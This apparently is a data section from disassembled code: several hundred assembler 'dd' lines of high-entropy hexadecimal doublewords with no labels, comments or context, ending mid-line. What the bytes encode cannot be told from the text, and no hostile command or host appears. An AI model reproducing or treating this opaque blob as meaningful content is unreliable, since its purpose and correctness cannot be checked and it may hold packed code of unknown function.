dd 5D51685Ch, 0DBBB85C3h, 0E153C0B8h, 812B0D72h, 0E29D2A01h dd 90D19B3Eh, 0EF8607FEh, 0FC003A2Ch, 4A299D31h, 1FFA21Fh dd 8D96D381h, 0F76F4F04h, 0FFA9B56Ch, 698C4781h, 4EF07EA6h dd 0BDE9800Ch, 0B3640097h, 95C18B0Bh, 84C0F7EDh, 2FDBA4A0h dd 0EE30B412h, 0A40CDBDh, 4A19EC09h, 9210B22Ah, 8BF5F000h dd 4CDABF0Fh, 0C2C03450h, 281C1BDCh, 0D0044FCh, 0CF0C5783h dd 4E738CEh, 8E67E4B3h, 0B431FF08h, 0C6A5CD6Dh, 40016D64h dd 0AE3FF4D5h, 7B33019Ch, 0AC285F34h, 4C1A28C1h, 1FACA01Fh dd 7DFC53C9h, 0E9053005h, 7B819h, 0C794F209h, 0F0C17DBh dd 0EB81F801h, 22CE8BB6h, 90FFF08Bh, 8DBCD7F0h, 3D1BFF52h dd 0F4E2BBB0h, 904E2904h, 51C1D88Bh, 522E436Fh, 0BADF20Bh dd 0F6EF76AAh, 892754DEh, 93AD7C85h, 6520AE5Fh, 34A2F0h dd 0C58649A8h, 6F7C8344h, 51D09505h, 20EA3169h, 44B2B11Fh dd 1F6A8600h, 51A8A110h, 0FC02D75Bh, 7D03AAD7h, 0CC57E55h dd 0A6B160A0h, 11B6615Ah, 11D1BD08h, 5655FF1Dh, 0C0230F61h dd 3042E1B9h, 0AB40E1E6h, 13770107h, 0A83299BFh, 5FDD0984h dd 4933715Bh, 5CA028D5h, 64B404D6h, 0A0942FA4h, 6A4CFBDCh dd 0D1B73A47h, 677147DDh, 9D236109h, 234B2ABDh, 539731D8h dd 90AEFCF3h, 77E95F8Fh, 0C222F997h, 9D22ACAAh, 12536499h dd 0AD1271BDh, 0C0688F67h, 1F0DA8D8h, 883B005Dh, 0FB2DCCBh dd 0B388028Eh, 0A75B5A14h, 0AC9E49FBh, 868F1F63h, 0D7EFDC33h dd 80C716E3h, 2512C9BBh, 4165C490h, 8CBB61EDh, 2109C3D2h dd 0F0ECC70Fh, 0B76008CAh, 1322614Bh, 0E1E74604h, 8F82C13Eh dd 4053D690h, 1665871Dh, 0DCAAFD13h, 10E42E03h, 8ABFD5A7h dd 0ED08E0ECh, 0DBD60A95h, 12ECDA74h, 7DEB01DFh, 2E7F5172h dd 0C5044564h, 20B90939h, 3D10BED4h, 0C9DD400Eh, 566A1E40h dd 0D1E04CFFh, 681884A3h, 19609F1Eh, 470B9611h, 457C6B22h dd 3B5C90DEh, 5B380FC7h, 0B8DEBB02h, 0AAE0055Dh, 14970C79h dd 41FB6036h, 0C380A7B7h, 9B0A538h, 21C58D31h, 0B370E679h dd 0A171E4FCh, 6DF98BF3h, 2810A64h, 0A2E740EAh, 9155617Bh dd 0F214D086h, 62B25BC2h, 0B1C387A2h, 0FE0B1DB2h, 0BC039E42h dd 0A26C95F6h, 5F82F858h, 0E70226A6h, 9A8BD2Ch, 0B599E85Fh dd 171643C5h, 0DA90C82Bh, 0BD7DE9D1h, 120B1C99h, 0A5FD5685h dd 8E000264h, 30F667DCh, 9743CD8Ah, 82BF2000h, 7B48D32Ah dd 52AA062Ch, 0E11C4E0Bh, 1613482Eh, 20C10994h, 72516323h dd 0EB122975h, 63AA38E9h, 39E8D39h, 7693AA0h, 86BBC7C2h dd 441B5C78h, 0FBD3271Ch, 89A5EA1Dh, 821C581Dh, 0D5870261h dd 501A5C25h, 41822E8Fh, 0AB14052Fh, 68BC2F05h, 0F73B04BAh dd 0D820B8EBh, 603ACB20h, 0E0A008D7h, 0B9192498h, 8D6F1001h dd 0A4F166AFh, 0D69D0B0Bh, 9DC9BB69h, 0C10E8FBCh, 4A064661h dd 642080ADh, 0EDC02B27h, 0BAF1C2FBh, 12FC387Eh, 0E3413BB4h dd 4B85D003h, 172AA1F5h, 0E86AEDE8h, 52B905F3h, 55351A2h dd 853B11F9h, 0D5DABE8Dh, 0B28CAED2h, 17C24B47h, 0AA72FB5Eh dd 600917FAh, 72658952h, 8B79BFA2h, 0AF164780h, 1F89367h dd 0BEDBD0BFh, 6D61A76Ah, 0E5B8E2h, 6C06AF1h, 0DE181BA8h dd 0A8AF44Bh, 31136722h, 7D40A195h, 0FCB6F4BBh, 25A29C72h dd 8600B2ECh, 1EDA602Bh, 0EA786A59h, 52622506h, 0B5B7E06Eh dd 6733009Dh, 0F319E057h, 63BB4F05h, 0D0C2C9A3h, 0BC762B08h dd 0BD04AAC5h, 0D1FF5BF8h, 6F2FB922h, 638D02F3h, 0BE927F8Dh dd 50C556AAh, 6F9D036Ch, 457C4095h, 11BA7460h, 53697DF2h dd 44E1519Eh, 87015202h, 60F87B08h, 75254168h, 1764D46Dh dd 497D2662h, 66FAE134h dd 0BAD700CEh, 0D9A4AE77h, 0A695BCB2h, 4A219AD9h, 0D9438DFCh dd 0A9E66FD9h, 3779BD1Fh, 115DAB0Ch, 7F25508Fh, 0DB5E5928h dd 1E988016h, 5A890B8Fh, 2051A59Dh, 0F13CEE98h, 556E955h dd 0C790F5D2h, 277ABB68h, 8D71E417h, 0D30C0F3Eh, 0CA9B40E7h dd 1876FDh, 0E8E54E73h, 5FA14268h, 44A08095h, 901C0789h dd 9F19F618h, 0AF98F3EEh, 0F19F1AF8h, 41944DA4h, 2A68E98Bh dd 0DB5BB48Ah, 0A838849Dh, 969A3AAh, 5B32F585h, 0BE60804Bh dd 39792FAAh, 0F92D6676h, 954E8298h, 0DE4FD7ADh, 0B5094B40h dd 0A9F19F85h, 29C22345h, 44A00D2Fh, 0B1532116h, 0E4DD2A16h dd 2BF11341h, 45E242Bh, 40E21B3h, 82AF5796h, 0D909FBE7h dd 0A029004Bh, 62563BD3h, 0F96C497h, 505F585Ah, 0F98A5763h dd 0B7FD7BB7h, 3F9278h, 0B884F33Ah, 0A109D781h, 0FE69A308h dd 1846D6CEh, 0ADBFC01h, 3B89CFF7h, 68027BB2h, 0CAE2932Eh dd 70D13B48h, 7D353C27h, 0D88BE390h, 0FDE71A95h, 501D84C6h dd 0BC9F5BBh, 37AE293Dh, 0E13880AAh, 0EDC6C929h, 2F5E9358h dd 3B46FBFEh, 0C62E55Ch, 0FB7661FCh, 793B1EDCh, 0F41187B2h dd 81D5241Bh, 3F193D05h, 6A4D72CFh, 0B3D06EBDh, 17EFB1ABh dd 0CAD3B6E1h, 705238DAh, 0DC26FC9Fh, 0CEE21500h, 0BBF57D75h dd 8B6C09D1h, 5696D9Dh, 212FAC3Eh, 0E15D28DEh, 8EF94A8Eh dd 0A51AFDFAh, 412593C0h, 0A509C28Eh, 80335C4Ch, 0E30D3FA1h dd 0FF149572h, 4A423C45h, 1E77FFDh, 0D4042989h, 467DC9AFh dd 0F05BB7A9h, 0FB2EAFBBh, 0ECD5A8BCh, 0E1D9972Bh, 0CA400544h dd 82B7F6D4h, 6438ED9Fh, 8DFF6419h, 97A88FFh, 50960B33h dd 0C02EB44h, 782F5881h, 79E629h, 980FAC19h, 2BDD4CD4h dd 0B11F18A8h, 0AAE63B7Fh, 96E45F71h, 70F7D397h, 620B8EA1h dd 0ED0CE780h, 0E0FB6810h, 5CC4DE68h, 185A0B01h, 89B7C807h dd 0C8F99A2Ah, 0BFC7C418h, 631C7A1h, 9B2EDB0Dh, 0B3A7C71Fh dd 0DF8B5DF1h, 0C956FC9Ch, 0CB519EEFh, 0C5AAEDA7h, 5F9B2A2h dd 0F9B07959h, 7A27DBBBh, 0EB8DA34Ah, 0B7C4603Ch, 465CB7EBh dd 1198B0F1h, 0E4029558h, 9BE48D0Fh, 3688534Bh, 17580099h dd 13445563h, 4762F391h, 0FB205058h, 0EAF1700Dh, 89901F38h dd 51B04BFBh, 0A450A7F6h, 46E08B25h, 20BB02D6h, 6A125184h dd 734A1877h, 6230001Eh, 1A79134Ch, 200A887h, 0D3819D7Ah dd 4AAB0128h, 966E60Dh, 0DE63C780h, 37CC884h, 39832FA9h dd 0D1648FC0h, 2B404700h, 0F8285F4Ah, 60DB097Ah, 4E545E56h dd 6125BD22h, 0D877045Bh, 6E5F63A8h, 0DCDA004Ah, 136B20F3h dd 0FA62956Eh, 6D9F7170h, 0E0B96872h, 0E11B67Fh, 27E7DC01h dd 7D9D0932h, 0A63FBF75h, 71FDB49Dh, 5ED9C880h, 0A02F76B5h dd 169B10A6h, 8BB2014Eh, 0A4349E31h, 0DD47E3Fh, 0EEA70BA8h dd 0A0A7E716h, 4717391h, 0C9A193DEh, 9B1CEA4Eh, 0BB960220h dd 7A7EDFA3h, 8A2FB5D8h, 0E138AFFAh, 79D8D29h, 0E0818A6Bh dd 2CE45AFFh, 671AF88Bh, 0E8A46F51h, 0D25DAD26h, 57A0F4A6h dd 0B974DED7h, 79DF801Ah, 634F57B3h, 2EDA9060h, 0EBD200A2h dd 0C2AD972Bh, 9F0BD781h, 0FD0BDCBCh, 5E5AA5BEh, 0B3B0F0B7h dd 5C622DABh, 2903874Ch, 6EDF1E62h, 3E0DF378h, 0BAA5B3B6h dd 87032CC4h, 902D9BDh, 5B59BB57h, 0BF603F59h, 172271FDh dd 0FCA5E91Dh, 0D1A65EE9h, 5118B4E0h, 5D30E170h, 8BB97666h dd 0DF810FC1h, 4569F72Ch, 0FCAD1559h, 219DC151h, 6950020Eh dd 6F2F0432h, 0ED750213h, 56D93880h, 3B62442h, 5558A2A7h dd 535788CAh, 0D49687D7h, 772E81B2h, 44603F42h, 5ED2DADCh dd 4C54316Ah, 0DDFC2254h, 9BF0FA01h, 74EA9636h, 5279406Ah dd 0E400A662h, 0B5068728h, 960FAAEh, 0B1254393h, 29915D58h dd 80E9FC80h, 5CC692E4h, 25E94A0h, 1FBB74E2h, 0E0ECCD75h dd 504BDB2Bh, 9C7843Ah, 5878630Ch, 0BD091288h, 44D85211h dd 0C23ABB1Eh, 21624B14h, 6740F65Ch, 1C60B68h, 0BDF6AA4Fh dd 0D8EEEC51h, 7B042BAFh, 0D7CB71D6h, 0DBA739C4h, 0CCE76BB0h dd 2580300Bh, 4B865850h, 80A0F91Dh, 0D0336993h, 8CF11DAFh dd 0D6EF44F3h, 3703B9F5h, 2BE438FEh, 0E5FDB3AEh, 0B23D6B70h dd 56210F98h, 0BAE4DF38h, 83CEAC66h, 0E8BEB907h, 3AEDF7h dd 662D25E7h, 40FB2756h, 308E5F06h, 0FD8CD5F2h, 0E2DCB917h dd 0E00D0049h, 0C94AE5h, 741C27A1h, 0B679795h, 0BBDD074Ah dd 8038DA7Bh, 1A6DCE6Ah, 18EF7213h, 2105E892h, 0FF135504h dd 150B4D4Fh, 0EE27DAA5h, 7568E3B5h, 0F6AFB4Ah, 0C98D604Bh dd 0C6EC72A9h, 0FB075108h, 1E950860h, 0F48D0109h, 0D3FCA564h dd 3AB2DF10h, 22D7029h, 26AF675h, 785D9589h, 0B8904A3Ch dd 11BBC023h, 5EA9EFh, 6ABE6050h, 6178A25Fh, 0E1C49050h dd 9237FC9h, 0E794D57Bh, 0C9F8896Bh, 382BCA82h, 0BB407ED4h dd 0AFD84B8Ah, 2702C06Eh, 0A67907EFh, 519509F5h, 0F010A5D4h dd 0E056D7Ah, 0EAD44EA0h, 909AC2C4h, 0F4C019C8h, 253B2063h dd 0A26CF6EDh, 22F10497h, 23C27AAAh, 0A2BB001Ch, 0C14C389Dh dd 525F7DE0h, 0A7AFC9C4h, 745CF06Dh, 45EF0355h, 0BD6BCAF1h dd 3C8DBFC5h, 0EA22Bh, 179651C7h, 5FC85B21h, 2FE8C082h dd 0FF176A6Dh, 2F05A5B7h, 0FF21249Dh, 0EC0507CDh, 8A5F0478h dd 89AD61DAh, 9014C84h, 3812FF8Bh, 0BD06817Fh, 8A0023F1h dd 705AE6FEh, 0F3C488h, 2C9F7F7Ch, 0DFFC920Ah, 0E22BF809h dd 0FB007F94h, 0D3AEBE66h, 2FDE93A1h, 1522E9E2h, 49F054B5h dd 80C47D50h, 7DAD1259h, 6C123991h, 0E62F3F5h, 2B1ED908h dd 9ACE0B75h, 6A69DFC0h, 0E1A83BD8h, 16A18508h, 2AF56BB1h dd 52D16207h, 107E6CD5h, 0B0DC1BDh, 64BCE95Bh, 1EDD2196h dd 0A9DD0117h, 8232E8h, 7B4F1D7Ah, 0E66B653Ah, 51BFBA24h dd 5827C009h, 400B9CA4h, 8DB49C66h, 0D8B6A40Bh, 1A737CFDh dd 12667D25h, 52853700h, 310E8C16h, 70AE1A8Bh, 7F7292FDh dd 525C5F6Ch, 0F15125BFh, 7CAFDB53h, 0BDF6B8Dh, 6929DE42h dd 0FE31C051h, 81000219h, 7D1280E3h, 0C2B166D6h, 52A7326Bh dd 2B5F7361h, 0B1CCC264h, 0A86F0079h, 6D19C2BAh, 0E607FCEBh dd 4E2E8EB5h, 508D28B0h, 487F9876h, 12D3DA01h, 84DAA2DFh dd 0C6183E90h, 0B7910AA1h, 0F3EF8004h, 7BD4D5ACh, 16092510h dd 505E2FB9h, 17919D0Dh, 0AFCCA96h, 81F3B90Fh, 0B0E69CBFh dd 5556F227h, 8DB717DCh, 0E0DEE15h, 0C500692Dh, 0E1B82E28h dd 0C1769E3Ah, 0D22B056Dh, 8039DB7Bh, 0F7D39C13h, 20A24A9Eh dd 75DBDD13h, 8C81F800h, 5C492EE3h, 982B001Eh, 24BB1240h dd 0F3B72DB7h, 3B5BFA41h, 57DA0B00h, 1D35DB9Dh, 1785091Fh dd 0A053E721h, 2FAF44Ah, 99030E4Eh, 66FF217Eh, 49BD16E6h dd 2D8AB731h, 528F71E9h, 694D6DDFh, 0B23AD14Ch, 82AB0478h dd 0C683C4F9h, 0D59210ECh, 17977B29h, 83A62932h, 0EFAAAE25h dd 66995B80h, 3A8D9A09h, 0FC0DD07h, 204DB774h, 8C9B4EEFh dd 51760B9Fh, 0AB00277h, 51315CD6h, 409D3E85h, 927A63Bh dd 1A0ED14Dh, 2AC1FC77h, 50DBB7D6h, 2075B5Ah, 9C036305h dd 0F0004659h, 799FF202h, 9D3004Eh, 81202916h, 0D45A8DE4h dd 7D695DA1h, 503F5DB8h, 0ED7202E6h, 5D233587h, 0BF0296D9h dd 7F9BCF75h, 4D979065h, 0B2AB6A84h, 0BA825B05h, 321CD517h dd 52334F66h, 226D2028h, 0DE8B5B12h, 2EDA39E2h, 0E025CD5Dh dd 522D593Bh, 1ADF0E05h dd 8187ADh, 292D60DAh, 630E29B8h, 81C02D07h, 91AC1B0Ch dd 0A979132Eh, 0C9D1B8C3h, 5498FB90h, 1700F20Ah, 66A7F4DDh dd 0CD27C8h, 8AFFAA1Eh, 80EC7C92h, 6ADBE15Bh, 60D1EED2h dd 0C041B938h, 1011219h, 91EAF6BDh, 49165DFh, 0AD1A159Dh dd 7509D69Ah, 0A6B671DFh, 1F0D18D0h, 78976090h, 4333E732h dd 0EBAD7600h, 2B721FBCh, 8E92DC02h, 5F5F4E4Dh, 0FD80CB37h dd 50B192F1h, 0F6DE0F0Ah, 7D69BB66h, 12F4D27Eh, 4053286h dd 3B581h, 11713468h, 9B40B507h, 0E7772CBh, 9E3D6E95h dd 0C005D4C7h, 800FD2E4h, 0BDF58CABh, 9D2C4120h, 9137284h dd 81EB7361h, 0E90AA7DBh, 252016DFh, 3E5B16A9h, 0F3815283h dd 2271B99Bh, 5733ED2Bh, 0F85FB3ADh, 3DD025Dh, 0E05169B1h dd 0AB2BD33h, 55CE3AD5h, 0FBF43C3Ah, 8F5E9DD4h, 785D0A61h dd 8E13FC3Bh, 0BCF55589h, 0F00A2DFAh, 84A8D871h, 5B5B0959h dd 67AD85EDh, 1EA95E93h, 3840C4Eh, 0ED55BD57h, 6B172B94h dd 6584C7F8h, 0F4960919h, 148A8882h, 3FBBE913h, 6B5A3A05h dd 1354D647h, 0E3CBA696h, 0EFD789BEh, 10D58D41h, 3E8EF72Fh dd 939D2A09h, 9AAA6838h, 0F57AC4FCh, 93DE85B1h, 32EE60C8h dd 0FA576168h, 59550B18h, 0E7373B22h, 0CCB86B82h, 1222DE93h dd 0D238AD19h, 0F7F67899h, 8A501AA1h, 2A04E5DEh, 74C0F0DBh dd 173C648Ch, 0A1057700h, 1C4B4BFh, 2D0F9B0Bh, 3BE1B940h dd 45E9F02Ah, 86FE4603h, 8C6173FCh, 0FCC0909Bh, 0DF9D3384h dd 0DB48D304h, 8DAFE5B6h, 1CFD4D5h, 65D42B12h, 82D369F2h dd 5B5C2BA7h, 31284171h, 1399A997h, 2EDE51E9h, 0B0DA0AC0h dd 0ED3BE810h, 0C4112D75h, 5964008Eh, 0DD38F480h, 0DE3F6FBFh dd 5BE49201h, 16AE39F3h, 1DFF60F9h, 0FBF1D7DCh, 8A56C42Ch dd 0B1AB777h, 34A39ACh, 5004DE4h, 0EAF651A7h, 29E742FEh dd 62E6FF7Dh, 3DDF0319h, 0F0FC2D97h, 0DA0E6702h, 0B5F9EC3Ch dd 0A9019C84h, 9509C351h, 63BD84E5h, 5E78FCC9h, 1B4E95h dd 0CF3DA62Dh, 0DDCFCC9h, 7D37AB25h, 5980A0BFh, 349D069Fh dd 0FF9726BDh, 0A46017AFh, 0B91366EAh, 451DC762h, 8FDCB881h dd 5A739661h, 40A13800h, 0F9A80405h, 0D0484202h, 90A9C22Ah dd 0BDF8176h, 28240D83h, 0ABF0B5FDh, 0BCD280EAh, 0BAD86DB4h dd 0A34C9209h, 9AB5E51h, 6D5F7A96h, 0E61545B1h, 8AD4262Fh dd 0FF4A0C11h, 0B5292B20h, 0F9174F9Dh, 7631CC8Ah, 90F39F16h dd 1ADF8080h, 2776D781h, 4133B8D5h, 4FAAB659h, 1B7F63EDh dd 68605FFAh, 30551D92h, 7344B304h, 0F2BE0061h, 0D1E09FA3h dd 0F695A64Bh, 430B2D75h, 2A12CB61h, 16C8C59Bh, 309FB3C0h dd 559D122Bh, 0C5C4A918h, 0F86BF66h, 0E7811C5Ch, 74FC4A67h dd 0B4B3C2FFh, 608545F1h, 8404F48Ah, 2A142371h, 12890F0Bh dd 86A62AF1h, 0B7E57F69h, 0C0BDE02Fh, 0C1964F26h, 488BB8E3h dd 875A0F3Ch, 73F82749h, 1EDA595h, 0D7802E40h, 8014971Bh dd 0B4562C44h, 38C940E7h, 8F039FD8h, 296AF582h, 2524A295h dd 351A815Fh, 84FE050Bh, 4840B8AAh, 53FE0F8Eh, 7E6A21BBh dd 6B2E5F67h, 2F1C2314h, 0C1019270h, 7E9BB8F0h, 0E63FFCB3h dd 26C5481Bh, 56525332h, 95416B20h, 0F8B33F18h, 3F6E6C8Dh dd 0AEF0C7A6h, 9ABFFA6Dh, 0C12D8273h, 663A5581h, 12D40CF4h dd 0E0F88BB6h, 0DE9FE83Fh, 89095E91h, 0FF07DDB5h, 0D6880D34h dd 0E9743E9h, 0D0FBEB31h, 198C2DCEh, 948092DBh, 9124A712h dd 7C2F67Eh, 9DAA44A6h, 0DECE20B0h, 6254FD2h, 227C6CDh dd 7783BF50h, 0C5E92F4Ch, 3F88AA29h, 0D1BBDB97h, 74F9CCE6h dd 42FE29BFh, 126E41AEh, 0C4DF0102h, 9261612Ch, 3B1FCA05h dd 0BA4BCC6Fh, 800FC005h, 69C80D16h, 0F4813B90h, 221AD281h dd 3E6577F7h, 0AB2D12C2h, 0A772F9C0h, 0AE50E3DBh, 0E755005Ch dd 37E01506h, 57E26090h, 61715874h, 80E497h, 0C275166h dd 0CE5484BFh, 0F7D3700h, 0C23C4143h, 0BEF3C7Bh, 0F7090540h dd 6950615Ah, 0E329F825h, 0C2118724h, 7B5D61FAh, 45DDD02Ch dd 9085E74Ah, 3FF90C8h, 1B547F0Bh, 1E076014h, 8C52BAC3h dd 6A614A11h, 0CE1F9B3Eh, 5FF869DBh, 0E2BDFF4Eh, 0AD147FABh dd 7CBCE0B7h, 0D1FF2442h, 0C6D0923h, 97AA455Fh, 0C07F9E50h dd 0ECBBD87Ah, 31122DF4h, 0F525B3D3h, 26AE123h, 28CD1012h dd 0ECF6A220h, 3694434h, 84A39FEh, 26092DCh, 61E1E880h dd 9C7F26E9h, 0CA0F2037h, 0F3FBF98Ah, 70F26C70h, 0D02527D9h dd 0C4CB8A5Fh, 83B57725h, 598D302Dh, 7416728Bh, 0C7DF4A90h dd 0B3E34EABh, 1D910BBDh, 52CA3F09h, 0C5EF8006h, 294A7E31h dd 532793CAh, 9AC7EDC0h, 2074DB9Fh, 0AC5EB5F7h, 0F478DE2Dh dd 6F762A16h, 1D453C05h, 58A019A7h, 0B19570F4h, 0B8153B69h dd 324E804Ch, 129D05Dh, 0FCF7712Ah, 0C0B01A72h, 453E91BBh dd 70E612EEh, 0D081220Eh, 8271E414h, 0BB9AEF09h, 0D45605Ah dd 4F51FF60h, 2729F21Bh, 8824F9F5h, 55AC0588h, 5E92C48Ch dd 0D93041E9h, 46F93EC1h, 0B318929Fh, 0E0A24B60h, 0F964824Ah dd 19030C71h, 90B09758h, 0AD3A4D8h, 6573C5BFh, 0F6A0807Ah dd 3E1106ABh, 936DF11Dh, 2FE0312h, 99D8925h, 0E1A090FAh dd 0E988E185h, 9A43D49Bh, 27142118h, 19C00485h, 715470BBh dd 0BDA9F15h, 0CFFBF37h, 0E387980Bh, 6EE10277h, 28F0D157h dd 2495BD7Ah, 4956294Dh, 30751201h, 13E195Ah, 0E5D2CC49h dd 0DF10B764h, 0B0904EFAh, 0DBBFFBBFh, 0C592F09h, 9F684625h dd 0A7B859D3h, 1145FB22h, 852D7724h, 534B0995h, 3D38316Ah dd 95890102h, 27018448h, 4CF9CD8Dh, 1F4DBF61h, 0E18DEDEEh dd 0C98EF9DCh, 0A2F63F6Ah, 0F067CAF1h, 623DEC25h, 91B91FBBh dd 54D1F12Fh, 2E70A909h, 96F9D8h, 0DDD13A3Fh, 832DB91Eh dd 0D1C2DB10h, 9B4424Dh, 0FE69D356h, 2D131062h, 9987F53h dd 0D5B9418Dh, 2908FC12h, 0BE519708h, 1FF1141Ch, 0F62AC02Bh dd 3D5AE098h, 318D259Bh, 73B79B52h, 0C0947B16h, 955CEEF1h dd 0D6EB0F0Ch, 4B59DE61h, 0F451F914h, 164E6AEFh, 8FE7E9Fh dd 542D186Ah, 0A82D127Eh, 76B6A5CBh, 62F0A2A3h, 0DA027DB8h dd 0B3F86F09h, 0A7727129h, 50091451h, 5F60F56Dh, 4000B921h dd 0FDC1532Dh, 0B752F07Bh, 89F0EC88h, 0BE5B5B5Fh, 0F758B4A3h dd 8F2C0932h, 0A87FE349h, 75138577h, 0DFBFA520h, 0C1959503h dd 0B70F5681h, 6E3E5BDBh, 0A49B001Ah, 0F058ACF4h, 0CD0A2029h dd 0F932C92Fh, 526AC40Fh, 0AE62A2A2h, 0A056B56Fh, 0FEC5064h dd 226BC180h, 0D800679Eh, 0E03A0CD4h, 0BF2ABE2h, 0E1FF5F8Eh dd 2DC02FCh, 0BCC56EFFh, 905D6051h, 785E6C5Fh, 665F0092h dd 6A0BCCB0h, 80055DE2h, 896EB1C8h, 5BFAE4ABh, 4BEDFC95h dd 6859E2F6h, 7EC06012h, 8E820D95h, 121CE8DDh, 9098B261h dd 1169501Bh, 2CFA2B4Bh, 27D31F1Fh, 0AF0CC408h, 955A7CCCh dd 9360EEE4h, 5BD57A84h, 75D0A573h, 0FDA61C4Ah, 4DF6A5Bh dd 0A0882A36h, 0BD5B9EECh, 20953930h, 0D3C49F1Ah, 0DF9074Bh dd 33D18897h, 22CD9D13h, 0EAB4ABFCh, 380F166Ah, 1BCB213Dh dd 0B3809471h, 46E21DFFh, 4BEFB290h, 405AC950h, 0D78A1275h dd 75FF9B00h, 867D4C74h, 0E4FC0EB1h, 34E55A5Eh, 3B6EFE90h dd 5080F93Fh, 0A67CECDFh, 0B34E25AEh, 51ED5AA0h, 94817501h dd 37A97E68h, 2BDFDD25h, 0AACF591Ch, 556F3628h, 668B082Fh dd 2F2C38D7h, 0D12600D7h dd 75D90191h, 0AD0F8B2Eh, 82D8F9EEh, 564CA1CCh, 0F3D4B5Ah dd 638C0104h, 0DA893682h, 45D4817h, 7659D8C9h, 12CF5CADh dd 0D144AD0Eh, 4D844AD8h, 0A27FF7BBh, 39D357F4h, 0C0E8D452h dd 0FE282548h, 7E5FF004h, 0C0FEBFAFh, 23C9BB96h, 6D2F5A24h dd 0E690DDC9h, 14070D67h, 182B9E3Eh, 88EA65B4h, 59BC60EBh dd 0C2E5E840h, 0A6C0034Ah, 0A50E582Ah, 304D7181h, 61894559h dd 1B8BB53Fh, 6F03C0CCh, 0BDFA8B12h, 0E03E06F8h, 22834C90h dd 0B589EC0Bh, 0F204EE10h, 2E0DD037h, 567D3572h, 9B36024h dd 98906268h, 52502717h, 6B8029ECh, 9FD24E76h, 0F8601902h dd 0C2561142h, 0FBE0D5A0h, 0E120A6D6h, 9D78A839h, 27AE2485h dd 7574DEB6h, 22FB7E5Ah, 807860BEh, 0F45FCB2Dh, 0F490C463h dd 0A8B0BF8Fh, 11A4E0B4h, 9D60FA92h, 0B5BF381h, 6159A077h dd 1712A2D6h, 0FF335ACh, 2D31EFD4h, 0EA7C2E4Ah, 94DD22A2h dd 215BCF9h, 2DE9A2C0h, 0F87510A7h, 812B1827h, 94B70BF7h dd 9DF750AFh, 70D27AF1h, 0A0F17B00h, 6371FE0Bh, 0C461004Fh dd 1FDF3999h, 324F187Fh, 6BE28AECh, 0BF4429h, 45BE3C3Dh dd 0CD93AA9Ah, 0B608B229h, 5F044F62h, 0D0C07BB3h, 321C5956h dd 0A280FF0Eh, 0F4757FF2h, 0DF0B0E9Fh, 0FC2B8A31h, 0B30BF1F3h dd 0AEB0F705h, 0EBBEBAD3h, 0F6B7FC25h, 6585B000h, 8096682Ch dd 8CDD4ADFh, 0BD120B9Fh, 31F20C0Dh, 0E68BF02h, 4FD0AE6h dd 671FDEB4h, 51C00C7Eh, 10FA36BBh, 5E5F0CF9h, 0BAC74703h dd 0EDD95F8Eh, 981EEC7Eh, 9FBA7108h, 156492CDh, 23770B61h dd 44A94B10h, 80B13D87h, 0F2B45B6Dh, 7DBC9115h, 44F74ABAh dd 62D613B2h, 8D43DA2Ch, 9EA9D441h, 0BD9BFBD3h, 0A106BB80h dd 50075C6h, 121A027h, 0B92EED95h, 292D3B7Ah, 0FC5A59F4h dd 7E9FD4C2h, 96AE8B42h, 590B8758h, 5D4DD4DCh, 0FB2F3185h dd 6A5ED2CBh, 7ED62757h, 5AB3C211h, 532F0F56h, 7A347170h dd 1B62A11h, 0F49F380h, 903FF9BFh, 1CD99DDCh, 2535B095h dd 467F006Dh, 5F59ED84h, 0E1E25DA1h, 3528BA95h, 0E6C280A5h dd 0A139F3A3h, 70DF772Fh, 0DD0B4AF8h, 805E3C2Dh, 9ECE5DD8h dd 75A005BBh, 0AC85B7BFh, 0F2894681h, 0C4CC4D65h, 452F601Dh dd 7F300131h, 85D7E423h, 0C1257832h, 810F5750h, 0FFF2353Ah dd 0FEE7F45Ch, 1849FC9Fh, 0FE078718h, 0D77AF142h, 5246661h dd 2D516681h, 7E12DD2Ah, 0CFC84935h, 32DB0004h, 5F5C5888h dd 6AE25B4Ah, 0F11C920Eh, 1F8AA203h, 517C5670h, 50F51042h dd 64AB756h, 3DCA15Ch, 1D1870E3h, 0E9B2F515h, 51DEDA90h dd 6D770F01h, 7D7AE2C9h, 2BAEF4h, 43015B88h, 0E0DE2CD3h dd 0D092A5ACh, 59FE7B97h, 20F181Ah, 4D4E0BD0h, 9057B68Eh dd 9293D3h, 0DD5ABECBh, 8D7EC381h, 5F2B3E16h, 80542AFFh dd 68488ADDh, 0E4BC07A2h, 9475231Eh, 0C0C5ACF9h, 0DA294BBh dd 0E94F953Eh, 508FDB2Fh, 1290F5D5h, 0FB2B3527h, 4609325h dd 0EA2A1925h, 237E98h, 0CA9F6D45h, 85BABDA9h, 1F202700h dd 0C295F1B6h, 0FBE1259Ah, 0FCEF5D44h, 7A098E49h, 58615E91h dd 9D0B09CDh, 4D5F2B89h, 70ED255Dh, 0BE168440h, 4F7E02FFh dd 0A9E956D2h, 3126807Fh, 972D3D9Dh, 0ED4994DEh, 53B74031h dd 5F007CD3h, 824E26AAh, 0FC57BF7Eh, 4A7F7FD4h, 0FD24EAB8h dd 0F74AEDA9h, 7454A098h, 96CC244Dh, 11F508F1h, 98309012h dd 3F6C8h, 0F994FC41h, 0CFACD916h, 54BEE00h, 0AA202C3Dh dd 503C1F01h, 0A690928Bh, 0FDBFE034h, 0D4FC9799h, 31B1F540h dd 0A45E9FC4h, 2437D52Dh, 6770D883h, 0F86EF9CAh, 40C13A20h dd 0E4B56008h, 460109B7h, 497DC0A6h, 3A5B6187h, 0EDDF97C0h dd 0E562CE52h, 9031AD72h, 4ED956D9h, 0BC7DED1Fh, 9CB63E30h dd 84B5B400h, 0BD31DA0Ah, 0B97652BDh, 15772797h, 13311DE2h dd 0B488BA79h, 0F2B79505h, 8489290Bh, 0F0120FC7h, 654A17A6h dd 21FB90C4h, 2EFDB854h, 0A07CFFF9h, 0C6BE23h, 610904C4h dd 0FFBA0FFEh, 0A24D1A00h, 685F3AFh, 0FBC42FDBh, 5B4BEDC6h dd 0DAB22A84h, 0B37BB600h, 0A406C4B8h, 62413100h, 7D782333h dd 0CAEB0281h, 5B46BAEEh, 3D8222D5h, 834EFF0Fh, 1129409Fh dd 2E5F8109h, 0DD8A4E30h, 22D165FFh, 0FA9D52E1h, 0F060DF68h dd 0B54D5F9Dh, 20349052h, 9F022E50h, 0F00E9B7h, 0D223ADFEh dd 8D4102C2h, 26B790EFh, 0EEA2658h, 0BBB6019Fh, 90024602h dd 2475CBE0h, 0BB513897h, 304204FCh, 3CBFE954h, 9D589060h dd 0CD801537h, 5ACC3149h, 251B0033h, 0A2B96059h, 29580D93h dd 61D116ADh, 27446FAEh, 9F2C7896h, 